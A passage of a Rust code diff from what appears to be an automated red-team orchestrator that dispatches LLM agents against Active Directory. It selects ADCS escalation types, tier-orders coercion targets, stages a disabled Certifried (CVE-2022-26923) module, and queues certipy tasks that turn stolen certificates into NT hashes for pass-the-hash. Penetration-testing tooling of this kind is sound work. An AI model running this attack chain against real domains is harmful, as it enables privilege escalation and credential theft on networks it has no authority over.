String, dc_ip: Option, + domain_sid: Option, credential: Option, + /// Tier-ordered coerce target candidates (esc8/esc11 only). Empty for + /// non-coercion ESC types. The dispatcher passes the first as + /// `coerce_target` (legacy) and the full list as `coerce_targets` so the + /// agent can iterate when the first target's callback drifts. + coerce_candidates: Vec, } #[cfg(test)] @@ -353,11 +1065,29 @@ mod tests { #[test] fn is_exploitable_esc_type_positive() { assert!(is_exploitable_esc_type("esc1")); + assert!(is_exploitable_esc_type("esc2")); + assert!(is_exploitable_esc_type("esc3")); assert!(is_exploitable_esc_type("esc4")); + assert!(is_exploitable_esc_type("esc6")); + assert!(is_exploitable_esc_type("esc7")); assert!(is_exploitable_esc_type("esc8")); + assert!(is_exploitable_esc_type("esc9")); + assert!(is_exploitable_esc_type("esc10")); + assert!(is_exploitable_esc_type("esc11")); + assert!(is_exploitable_esc_type("esc13")); + assert!(is_exploitable_esc_type("esc15")); assert!(is_exploitable_esc_type("adcs_esc1")); + assert!(is_exploitable_esc_type("adcs_esc2")); + assert!(is_exploitable_esc_type("adcs_esc3")); assert!(is_exploitable_esc_type("adcs_esc4")); + assert!(is_exploitable_esc_type("adcs_esc6")); + assert!(is_exploitable_esc_type("adcs_esc7")); assert!(is_exploitable_esc_type("adcs_esc8")); + assert!(is_exploitable_esc_type("adcs_esc9")); + assert!(is_exploitable_esc_type("adcs_esc10")); + assert!(is_exploitable_esc_type("adcs_esc11")); + assert!(is_exploitable_esc_type("adcs_esc13")); + assert!(is_exploitable_esc_type("adcs_esc15")); } #[test] @@ -370,13 +1100,13 @@ mod tests { #[test] fn is_exploitable_esc_type_negative() { - assert!(!is_exploitable_esc_type("esc2")); - assert!(!is_exploitable_esc_type("esc3")); + assert!(!is_exploitable_esc_type("esc5")); + assert!(!is_exploitable_esc_type("esc14")); assert!(!is_exploitable_esc_type("rbcd")); assert!(!is_exploitable_esc_type("shadow_credentials")); assert!(!is_exploitable_esc_type("genericall")); assert!(!is_exploitable_esc_type("")); - assert!(!is_exploitable_esc_type("adcs_esc2")); + assert!(!is_exploitable_esc_type("adcs_esc5")); } // normalize_esc_type @@ -709,6 +1439,11 @@ mod tests { assert_eq!(role_for_esc_type("esc8"), "coercion"); } + #[test] + fn role_for_esc11_is_coercion() { + assert_eq!(role_for_esc_type("esc11"), "coercion"); + } + #[test] fn role_for_esc1_is_privesc() { assert_eq!(role_for_esc_type("esc1"), "privesc"); @@ -719,6 +1454,16 @@ mod tests { assert_eq!(role_for_esc_type("esc4"), "privesc"); } + #[test] + fn role_for_esc10_is_privesc() { + assert_eq!(role_for_esc_type("esc10"), "privesc"); + } + + #[test] + fn role_for_esc15_is_privesc() { + assert_eq!(role_for_esc_type("esc15"), "privesc"); + } + #[test] fn role_for_unknown_defaults_to_privesc() { assert_eq!(role_for_esc_type("esc99"), "privesc"); @@ -830,4 +1575,130 @@ mod tests { ); assert_eq!(extract_account_name(&details), None); } + + // pick_coerce_targets + + fn windows_host(ip: &str, hostname: &str) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: "Windows Server 2019".to_string(), + roles: Vec::new(), + services: vec!["microsoft-ds".to_string()], + is_dc: false, + owned: false, + } + } + + fn dc_host(ip: &str, hostname: &str) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: "Windows Server 2019".to_string(), + roles: Vec::new(), + services: vec!["microsoft-ds".to_string()], + is_dc: true, + owned: false, + } + } + + fn linux_host(ip: &str) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: format!("linux-{ip}"), + os: "Ubuntu 22.04".to_string(), + roles: Vec::new(), + services: vec!["ssh".to_string()], + is_dc: false, + owned: false, + } + } + + #[test] + fn pick_coerce_targets_prefers_vuln_domain_dc() { + let dcs: HashMap = + [("contoso.local".to_string(), "192.168.58.20".to_string())] + .into_iter() + .collect(); + let out = pick_coerce_targets(Some("192.168.58.10"), Some("192.168.58.20"), &dcs, &[]); + assert_eq!(out, vec!["192.168.58.20".to_string()]); + } + + #[test] + fn pick_coerce_targets_excludes_ca_host() { + let dcs: HashMap = + [("contoso.local".to_string(), "192.168.58.10".to_string())] + .into_iter() + .collect(); + let out = pick_coerce_targets( + Some("192.168.58.10"), + Some("192.168.58.10"), + &dcs, + &[windows_host("192.168.58.10", "ca-and-dc")], + ); + assert!(out.is_empty(), "CA host must not appear: {out:?}"); + } + + #[test] + fn pick_coerce_targets_falls_back_to_member_servers() { + let dcs: HashMap = + [("contoso.local".to_string(), "192.168.58.10".to_string())] + .into_iter() + .collect(); + let hosts = vec![ + dc_host("192.168.58.10", "dc01"), + windows_host("192.168.58.51", "ws01"), + linux_host("192.168.58.99"), + ]; + let out = pick_coerce_targets(Some("192.168.58.10"), Some("192.168.58.10"), &dcs, &hosts); + // CA excluded; only Windows non-DC member server remains. + assert_eq!(out, vec!["192.168.58.51".to_string()]); + } + + #[test] + fn pick_coerce_targets_orders_dc_then_other_dcs_then_members() { + let dcs: HashMap = [ + ("contoso.local".to_string(), "192.168.58.20".to_string()), + ("fabrikam.local".to_string(), "192.168.58.30".to_string()), + ] + .into_iter() + .collect(); + let hosts = vec![windows_host("192.168.58.51", "ws01")]; + let out = pick_coerce_targets(Some("192.168.58.10"), Some("192.168.58.20"), &dcs, &hosts); + // Tier 1 (vuln-domain DC) first. + assert_eq!(out[0], "192.168.58.20"); + // Tier 2 (other DC) and Tier 3 (member) both present, no CA. + assert!(out.contains(&"192.168.58.30".to_string())); + assert!(out.contains(&"192.168.58.51".to_string())); + assert!(!out.contains(&"192.168.58.10".to_string())); + } + + #[test] + fn pick_coerce_targets_dedups_dc_appearing_in_hosts_list() { + let dcs: HashMap = + [("contoso.local".to_string(), "192.168.58.20".to_string())] + .into_iter() + .collect(); + let hosts = vec![dc_host("192.168.58.20", "dc01")]; + let out = pick_coerce_targets(Some("192.168.58.10"), Some("192.168.58.20"), &dcs, &hosts); + assert_eq!(out, vec!["192.168.58.20".to_string()]); + } + + #[test] + fn pick_coerce_targets_ca_match_is_case_insensitive() { + let dcs: HashMap = HashMap::new(); + let hosts = vec![windows_host("DC01.contoso.local", "dc01")]; + let out = pick_coerce_targets(Some("dc01.contoso.local"), None, &dcs, &hosts); + assert!( + out.is_empty(), + "CA hostname (case-mismatched) must be excluded" + ); + } + + #[test] + fn pick_coerce_targets_empty_when_no_inputs() { + let dcs: HashMap = HashMap::new(); + let out = pick_coerce_targets(Some("192.168.58.10"), None, &dcs, &[]); + assert!(out.is_empty()); + } } diff --git a/ares-cli/src/orchestrator/automation/bloodhound.rs b/ares-cli/src/orchestrator/automation/bloodhound.rs index 8b805cea..f2c1342c 100644 --- a/ares-cli/src/orchestrator/automation/bloodhound.rs +++ b/ares-cli/src/orchestrator/automation/bloodhound.rs @@ -40,7 +40,7 @@ pub async fn auto_bloodhound(dispatcher: Arc, mut shutdown: watch::R .iter() .filter(|d| !state.is_processed(DEDUP_BLOODHOUND_DOMAINS, d)) .filter_map(|domain| { - let dc_ip = state.domain_controllers.get(domain).cloned()?; + let dc_ip = state.resolve_dc_ip(domain)?; // Select best credential for this specific domain let cred = find_domain_credential( domain, diff --git a/ares-cli/src/orchestrator/automation/certifried.rs b/ares-cli/src/orchestrator/automation/certifried.rs new file mode 100644 index 00000000..37dfa777 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/certifried.rs @@ -0,0 +1,451 @@ +//! auto_certifried -- CVE-2022-26923 machine account DNS hostname spoofing. +//! +//! Certifried abuses the fact that machine accounts can enroll for certificates +//! and the DNS hostname in the certificate is derived from the machine account's +//! dNSHostName attribute. By creating a machine account and setting its +//! dNSHostName to a DC's hostname, you can obtain a certificate that +//! authenticates as the DC. +//! +//! Prerequisites: +//! - MachineAccountQuota > 0 (default 10) +//! - Valid domain credential +//! - ADCS CA discovered +//! +//! Dispatches to "privesc" role with technique "certifried". + +use std::sync::Arc; +use std::time::Duration; + +use tokio::sync::watch; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect certifried work items from current state. +/// +/// Pure logic extracted from `auto_certifried` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +/// +/// Currently unused: the dispatch path in `auto_certifried` is short- +/// circuited because no exploit primitive is registered. Kept (with +/// `dead_code` allowed) so re-enabling becomes a one-line change once +/// a `certifried`/CVE-2022-26923 tool lands. +#[allow(dead_code)] +fn collect_certifried_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("certifried:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_CERTIFRIED, &dedup_key) { + continue; + } + + // Find the DC host to get its hostname for spoofing + let dc_hostname = state + .hosts + .iter() + .find(|h| h.ip == *dc_ip && h.is_dc) + .map(|h| h.hostname.clone()) + .filter(|h| !h.is_empty()); + + // Certifried creates a machine account in the TARGET domain via MAQ. + // Cross-forest credentials cannot create machine accounts in a foreign + // forest, so require a credential whose domain matches the target. + let cred = match state.credentials.iter().find(|c| { + c.domain.to_lowercase() == domain.to_lowercase() + && !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) { + Some(c) => c.clone(), + None => continue, + }; + + items.push(CertifriedWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + dc_hostname, + credential: cred, + }); + } + + items +} + +/// Dispatches certifried (CVE-2022-26923) per domain with ADCS. +/// Interval: 45s. +pub async fn auto_certifried(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + // Certifried (CVE-2022-26923) has no exploit primitive registered in + // the LLM tool registry — there's no `certifried` tool, only the + // `certipy_*` family which doesn't include the machine-account-rename + // + cert-request chain this CVE requires. Dispatching here always + // failed with the LLM raising "Cannot execute Certifried with provided + // toolset" after burning ~30k input tokens per attempt. Short-circuit + // until a primitive lands; the dedup/work collection helpers below + // are kept so re-enabling is a one-line change. Vulnerability + // detection still flows through `auto_adcs_enumeration`; only the + // auto-exploit dispatch is suppressed. + if !dispatcher.is_technique_allowed("certifried") { + continue; + } + continue; + } +} + +#[allow(dead_code)] +struct CertifriedWork { + dedup_key: String, + domain: String, + dc_ip: String, + dc_hostname: Option, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::{Credential, Host}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str, is_dc: bool) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc, + owned: false, + } + } + + // --- collect_certifried_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "certifried:contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_CERTIFRIED, "certifried:contoso.local".into()); + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_domains() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_dc_hostname_resolved_from_hosts() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .hosts + .push(make_host("192.168.58.10", "dc01.contoso.local", true)); + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_hostname, Some("dc01.contoso.local".into())); + } + + #[test] + fn collect_dc_hostname_none_when_no_host_match() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 1); + assert!(work[0].dc_hostname.is_none()); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_when_only_cross_forest_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + // Certifried needs a target-domain credential to create a machine + // account in the target forest; cross-forest creds cannot do this. + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_empty_password_credentials() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_quarantined_credential_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_certifried_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_certifried_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "certifried:contoso.local"); + } + + #[test] + fn dedup_key_format() { + let key = format!("certifried:{}", "contoso.local"); + assert_eq!(key, "certifried:contoso.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("certifried:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "certifried:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_CERTIFRIED, "certifried"); + } + + #[test] + fn dc_hostname_from_hosts() { + // Simulates finding a DC hostname from hosts list + let hostname = "dc01.contoso.local"; + let filtered = Some(hostname.to_string()).filter(|h| !h.is_empty()); + assert_eq!(filtered, Some("dc01.contoso.local".to_string())); + + let empty = Some("".to_string()).filter(|h| !h.is_empty()); + assert!(empty.is_none()); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = serde_json::json!({ + "technique": "certifried", + "cve": "CVE-2022-26923", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "dc_hostname": "dc01.contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "certifried"); + assert_eq!(payload["cve"], "CVE-2022-26923"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["dc_hostname"], "dc01.contoso.local"); + } + + #[test] + fn payload_without_dc_hostname() { + let payload = serde_json::json!({ + "technique": "certifried", + "cve": "CVE-2022-26923", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "dc_hostname": null, + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + assert!(payload["dc_hostname"].is_null()); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = CertifriedWork { + dedup_key: "certifried:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + dc_hostname: Some("dc01.contoso.local".into()), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.dc_hostname, Some("dc01.contoso.local".into())); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn work_struct_without_hostname() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = CertifriedWork { + dedup_key: "certifried:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + dc_hostname: None, + credential: cred, + }; + assert!(work.dc_hostname.is_none()); + } +} diff --git a/ares-cli/src/orchestrator/automation/certipy_auth.rs b/ares-cli/src/orchestrator/automation/certipy_auth.rs new file mode 100644 index 00000000..af498b33 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/certipy_auth.rs @@ -0,0 +1,749 @@ +//! auto_certipy_auth -- authenticate using obtained certificates. +//! +//! After ADCS exploitation (ESC1/ESC4/ESC8) obtains a certificate (.pfx), +//! this automation dispatches `certipy auth` to convert the certificate +//! into an NT hash, enabling pass-the-hash for the impersonated user. +//! +//! Watches for `certificate_obtained` vulnerability type in discovered_vulnerabilities +//! which is registered by the ADCS exploitation result processor. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Authenticates with obtained certificates to extract NT hashes. +/// Interval: 30s. +pub async fn auto_certipy_auth(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("certipy_auth") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_cert_auth_work(&state) + }; + + for item in work { + let mut payload = json!({ + "technique": "certipy_auth", + "vuln_id": item.vuln_id, + "pfx_path": item.pfx_path, + "domain": item.domain, + "target_user": item.target_user, + }); + + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + + let priority = dispatcher.effective_priority("certipy_auth"); + match dispatcher + .throttled_submit("credential_access", "credential_access", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + user = %item.target_user, + "Certificate authentication dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_CERTIPY_AUTH, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_CERTIPY_AUTH, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(vuln_id = %item.vuln_id, "Certificate auth deferred"); + } + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch cert auth"); + } + } + } + } +} + +/// Pure logic extracted from `auto_certipy_auth` so it can be unit-tested without +/// needing a `Dispatcher` or async runtime (beyond state construction). +fn collect_cert_auth_work(state: &crate::orchestrator::state::StateInner) -> Vec { + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + let vtype = vuln.vuln_type.to_lowercase(); + if vtype != "certificate_obtained" && vtype != "adcs_certificate" { + return None; + } + + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("cert_auth:{}", vuln.vuln_id); + if state.is_processed(DEDUP_CERTIPY_AUTH, &dedup_key) { + return None; + } + + let pfx_path = vuln + .details + .get("pfx_path") + .or_else(|| vuln.details.get("certificate_path")) + .or_else(|| vuln.details.get("cert_file")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string())?; + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let target_user = vuln + .details + .get("target_user") + .or_else(|| vuln.details.get("upn")) + .or_else(|| vuln.details.get("account_name")) + .and_then(|v| v.as_str()) + .unwrap_or("administrator") + .to_string(); + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + Some(CertAuthWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + pfx_path, + domain, + target_user, + dc_ip, + }) + }) + .collect() +} + +struct CertAuthWork { + vuln_id: String, + dedup_key: String, + pfx_path: String, + domain: String, + target_user: String, + dc_ip: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("cert_auth:{}", "vuln-cert-001"); + assert_eq!(key, "cert_auth:vuln-cert-001"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_CERTIPY_AUTH, "certipy_auth"); + } + + #[test] + fn cert_vuln_types_accepted() { + let types = [ + "certificate_obtained", + "adcs_certificate", + "CERTIFICATE_OBTAINED", + ]; + for t in &types { + let lower = t.to_lowercase(); + assert!( + lower == "certificate_obtained" || lower == "adcs_certificate", + "{t} should match" + ); + } + } + + #[test] + fn non_cert_vuln_types_rejected() { + let non_cert = ["esc1", "smb_signing_disabled", "mssql_access"]; + for t in &non_cert { + let lower = t.to_lowercase(); + assert!(lower != "certificate_obtained" && lower != "adcs_certificate"); + } + } + + #[test] + fn pfx_path_fallback_chain() { + // Primary key + let details = serde_json::json!({"pfx_path": "/tmp/cert.pfx"}); + let path = details + .get("pfx_path") + .or_else(|| details.get("certificate_path")) + .or_else(|| details.get("cert_file")) + .and_then(|v| v.as_str()); + assert_eq!(path, Some("/tmp/cert.pfx")); + + // Fallback to certificate_path + let details2 = serde_json::json!({"certificate_path": "/tmp/alt.pfx"}); + let path2 = details2 + .get("pfx_path") + .or_else(|| details2.get("certificate_path")) + .or_else(|| details2.get("cert_file")) + .and_then(|v| v.as_str()); + assert_eq!(path2, Some("/tmp/alt.pfx")); + + // Fallback to cert_file + let details3 = serde_json::json!({"cert_file": "/tmp/other.pfx"}); + let path3 = details3 + .get("pfx_path") + .or_else(|| details3.get("certificate_path")) + .or_else(|| details3.get("cert_file")) + .and_then(|v| v.as_str()); + assert_eq!(path3, Some("/tmp/other.pfx")); + + // No key returns None + let details4 = serde_json::json!({}); + let path4 = details4 + .get("pfx_path") + .or_else(|| details4.get("certificate_path")) + .or_else(|| details4.get("cert_file")) + .and_then(|v| v.as_str()); + assert!(path4.is_none()); + } + + #[test] + fn target_user_fallback() { + let details = serde_json::json!({"target_user": "admin"}); + let user = details + .get("target_user") + .or_else(|| details.get("upn")) + .or_else(|| details.get("account_name")) + .and_then(|v| v.as_str()) + .unwrap_or("administrator"); + assert_eq!(user, "admin"); + + // Falls back to "administrator" when no key present + let details2 = serde_json::json!({}); + let user2 = details2 + .get("target_user") + .or_else(|| details2.get("upn")) + .or_else(|| details2.get("account_name")) + .and_then(|v| v.as_str()) + .unwrap_or("administrator"); + assert_eq!(user2, "administrator"); + } + + #[test] + fn cert_auth_payload_structure() { + let payload = serde_json::json!({ + "technique": "certipy_auth", + "vuln_id": "cert-001", + "pfx_path": "/tmp/cert.pfx", + "domain": "contoso.local", + "target_user": "administrator", + }); + assert_eq!(payload["technique"], "certipy_auth"); + assert_eq!(payload["pfx_path"], "/tmp/cert.pfx"); + assert_eq!(payload["target_user"], "administrator"); + } + + #[test] + fn cert_auth_payload_with_dc() { + let mut payload = serde_json::json!({ + "technique": "certipy_auth", + "vuln_id": "cert-001", + "pfx_path": "/tmp/cert.pfx", + "domain": "contoso.local", + "target_user": "administrator", + }); + let dc_ip = Some("192.168.58.10".to_string()); + if let Some(ref dc) = dc_ip { + payload["target_ip"] = serde_json::json!(dc); + payload["dc_ip"] = serde_json::json!(dc); + } + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn cert_auth_payload_without_dc() { + let payload = serde_json::json!({ + "technique": "certipy_auth", + "vuln_id": "cert-001", + "pfx_path": "/tmp/cert.pfx", + "domain": "contoso.local", + "target_user": "administrator", + }); + assert!(payload.get("target_ip").is_none()); + assert!(payload.get("dc_ip").is_none()); + } + + #[test] + fn target_user_upn_fallback() { + let details = serde_json::json!({"upn": "admin@contoso.local"}); + let user = details + .get("target_user") + .or_else(|| details.get("upn")) + .or_else(|| details.get("account_name")) + .and_then(|v| v.as_str()) + .unwrap_or("administrator"); + assert_eq!(user, "admin@contoso.local"); + } + + #[test] + fn target_user_account_name_fallback() { + let details = serde_json::json!({"account_name": "svc_sql"}); + let user = details + .get("target_user") + .or_else(|| details.get("upn")) + .or_else(|| details.get("account_name")) + .and_then(|v| v.as_str()) + .unwrap_or("administrator"); + assert_eq!(user, "svc_sql"); + } + + #[test] + fn cert_auth_work_construction() { + let work = CertAuthWork { + vuln_id: "cert-001".into(), + dedup_key: "cert_auth:cert-001".into(), + pfx_path: "/tmp/cert.pfx".into(), + domain: "contoso.local".into(), + target_user: "administrator".into(), + dc_ip: Some("192.168.58.10".into()), + }; + assert_eq!(work.vuln_id, "cert-001"); + assert_eq!(work.dc_ip, Some("192.168.58.10".into())); + } + + #[test] + fn cert_auth_work_no_dc() { + let work = CertAuthWork { + vuln_id: "cert-002".into(), + dedup_key: "cert_auth:cert-002".into(), + pfx_path: "/tmp/cert2.pfx".into(), + domain: "fabrikam.local".into(), + target_user: "admin".into(), + dc_ip: None, + }; + assert!(work.dc_ip.is_none()); + } + + // -- Tests exercising the extracted `collect_cert_auth_work` function -- + + use crate::orchestrator::state::SharedState; + + fn make_vuln( + vuln_id: &str, + vuln_type: &str, + details: std::collections::HashMap, + ) -> ares_core::models::VulnerabilityInfo { + ares_core::models::VulnerabilityInfo { + vuln_id: vuln_id.into(), + vuln_type: vuln_type.into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 5, + } + } + + #[tokio::test] + async fn collect_empty_state_returns_no_work() { + let shared = SharedState::new("test".into()); + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_certificate_obtained_vuln_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/admin.pfx")); + details.insert("domain".into(), serde_json::json!("contoso.local")); + details.insert("target_user".into(), serde_json::json!("administrator")); + s.discovered_vulnerabilities.insert( + "cert-001".into(), + make_vuln("cert-001", "certificate_obtained", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_id, "cert-001"); + assert_eq!(work[0].pfx_path, "/tmp/admin.pfx"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].target_user, "administrator"); + assert_eq!(work[0].dedup_key, "cert_auth:cert-001"); + assert!(work[0].dc_ip.is_none()); + } + + #[tokio::test] + async fn collect_adcs_certificate_vuln_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut s = shared.write().await; + let mut details = std::collections::HashMap::new(); + details.insert("pfx_path".into(), serde_json::json!("/tmp/svc.pfx")); + details.insert("domain".into(), serde_json::json!("fabrikam.local")); + details.insert("target_user".into(), serde_json::json!("svc_sql")); + s.discovered_vulnerabilities.insert( + "cert-002".into(), + make_vuln("cert-002", "adcs_certificate", details), + ); + } + let state = shared.read().await; + let work = collect_cert_auth_work(&state); + assert_eq!(work.len(), 1); + 